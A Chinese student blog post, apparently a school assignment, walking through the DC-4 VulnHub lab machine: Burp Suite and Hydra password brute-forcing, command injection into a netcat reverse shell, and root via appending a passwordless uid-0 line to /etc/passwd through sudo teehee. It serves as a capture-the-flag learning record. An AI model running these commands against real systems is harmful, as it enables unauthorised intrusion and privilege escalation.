惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

SecWiki News
SecWiki News
I
InfoQ
The Cloudflare Blog
人人都是产品经理
人人都是产品经理
博客园 - Franky
T
Tailwind CSS Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
博客园_首页
罗磊的独立博客
V
V2EX
李成银的技术随笔
大猫的无限游戏
大猫的无限游戏
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
True Tiger Recordings
Vercel News
Vercel News
Cyberwarzone
Cyberwarzone
Cisco Talos Blog
Cisco Talos Blog
F
Fox-IT International blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
M
Microsoft Research Blog - Microsoft Research
Know Your Adversary
Know Your Adversary
爱范儿
爱范儿
The Register - Security
The Register - Security
G
Google Developers Blog
The Hacker News
The Hacker News
Malwarebytes
Malwarebytes
S
Securelist
博客园 - 三生石上(FineUI控件)
Jina AI
Jina AI
T
Threat Research - Cisco Blogs
T
The Exploit Database - CXSecurity.com
S
SegmentFault 最新的问题
博客园 - 叶小钗
F
Fortinet All Blogs
Apple Machine Learning Research
Apple Machine Learning Research
宝玉的分享
宝玉的分享
博客园 - 聂微东
T
Threatpost
博客园 - 【当耐特】
D
Docker
P
Privacy & Cybersecurity Law Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
G
GRAHAM CLULEY
V
Visual Studio Blog
C
Cisco Blogs
IT之家
IT之家
S
Security Archives - TechRepublic
Latest news
Latest news
阮一峰的网络日志
阮一峰的网络日志

猫涅的秘密结社

hackthissite-org 数据库原理相关 关于在与我互动前你可能需要了解的事 信安roadmap 个人主页开发汇报 六级生词速记本——附考后感想 数据结构C++自学相关 NewStarCTF-2025 三款steam付费番茄钟软件测评 夏令营-ai hello-world qt环境下的c++程序编写 新新的年 qq机器人配置二三事 搞点java 读书笔记-当下的力量 网页小修时间 glibc更新记录 Vulhub在线靶场记录 Vulhub记录(旧的) 神奇脚本在哪里-CTF之Pwn BaseCTF高校联合新生赛2024 逆逆逆逆逆向-CTF之reverse 求解 夺旗时间 学学学 渗透测试相关 协议/漏洞/网络 最新的知识点 数据分析相关 zico2解析 OverTheWire-bandit解析 CTF实战相关2 靶机解析-gigachad ctf实战相关1 复习time 开学季 维修时间 小小修整 学校实训-笔记 每周靶机之Beelzebub 读书笔记-如何阅读一本书 DC-2解析 每周靶机之ted 靶机-DC-1 每周靶机之bob potato解析 xss跨站点脚本攻击 每周靶机之Tommyboy1dot0 owasp命令执行漏洞 owasp文件包含漏洞 每周靶机之WALLABY'S-NIGHTMARE owasp上传漏洞 Hackademic.RTB1 owasp与sql注入与sqlmap liunx中sudo服务相关知识 liunx中ssh服务相关知识 moneybox解析 C语言相关1 关于加入aplayer的方式 再来一次 关于在next7.8.0中建设评论功能这件事 目前的进展 编辑小提示
DC-4解析
nirvana_felis · 2023-12-29 · via 猫涅的秘密结社

这个是学校作业哦
下载地址:https://www.vulnhub.com/entry/dc-4,313/


环境配置

攻击机:kali
靶机:DC-4
网络链接均为Nat模式

相关知识与工具

burpsuite (爆破 监听 数据包更改)
hydra(爆破用工具)
teehee提权

具体过程

照例
arp-scan -l //发现同网段设备
nmap -p- -A [指定的ip地址] //扫描开放的端口并套用脚本
1
既然开放了80端口 那就访问看看
2
是个登陆页面 说是admin信息系统登陆
我们用burpsuite爆破密码试试
调整firefox与burpsuite的proxy设定 我们开启监听 send to intruder
3
用攻击类型Cluster bomb来爆破 字典选择kali中自带的/usr/share/john/password.lst

坑:本来想用rockyou.txt的 行数太多常常导致burpsuite的崩溃

注意该lst文件前面会有几行注释 选中后点击左边的remove即可
因为使用的是Cluster bomb需要给两个payload都加上内容
我们切换payload set继续导入词库
4
ok了 点击右上角按钮开始攻击
嫌速度慢的可以在Resource pool中更改线程
5
经过极其漫长的等待
结果出来了
账号名为admin 密码为happy
6
7
我们用这套账号密码登陆进入网站
网站里面有一些命令可以执行 但都是固定的
8
我们用burpsuite抓包 尝试修改命令
9
我们把命令改成ipconfig
可以看到照样成功运行了
既然运行命令可行 那就利用nc(瑞士军刀)反弹shell吧
在kali端运行nc -lnvp 1234 //于1234端口开始监听
在burpsuite中将命令改为nc [kali的ip地址] [端口] -e /bin/sh //反弹shell
点击send 成功反弹
10
利用python -c 'import pty;pty.spawn("/bin/bash")'优化交互页面
11
在根目录的home目录下使用ls -alR递归显示所有目录与隐藏文件
在jim目录底下发现名为old-passwords.bak的文件
联系一开始端口扫描中开放的22端口
我们需要尝试登陆ssh服务
至于如何把该文件中的内容传回来 直接复制粘贴即可
账号名为jim 密码目录使用复制粘贴的密码目录
工具为hydra
12
hydra -l [用户名] -P [密码字典目录] [服务名://ip地址]
我们稍等片刻 结果出来了
[22][ssh] host: 192.168.246.142 login: jim password: jibril04
13
登陆完毕 嘻嘻
一进来系统就说you have mail
那我们找找这封邮件在哪里

1
2
find [寻找范围] -name [想找的文件名称] 2>/dev/null
2>/dev/null 不输出报错

14
发现在**/var/mail**目录里边有一封信件
(大意:jim 我这周要去休假 老板叫我给你我的密码 免得有要紧事 拜拜)
有了charles的账号密码 我们切换一下账号
15
成功进入 我们sudo -l查看该用户的sudo权限
发现他可以以root权限免密码执行 /usr/bin/teehee
那就通过teehee提权的方式来获取权限

参考:teehee提权
teehee是个小众的linux编辑器 如果有sudo权限 可以利用其来提权
核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

1
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su admin就可以登录到admin用户,这个用户因为uid为0,所以也是root权限

我们安装教程 输入echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
随后便能不使用密码su admin
flag自然在/root目录之下
16
成功!

总结

知识点比较少 短小精悍的靶机
那我们下次再见!


最新文章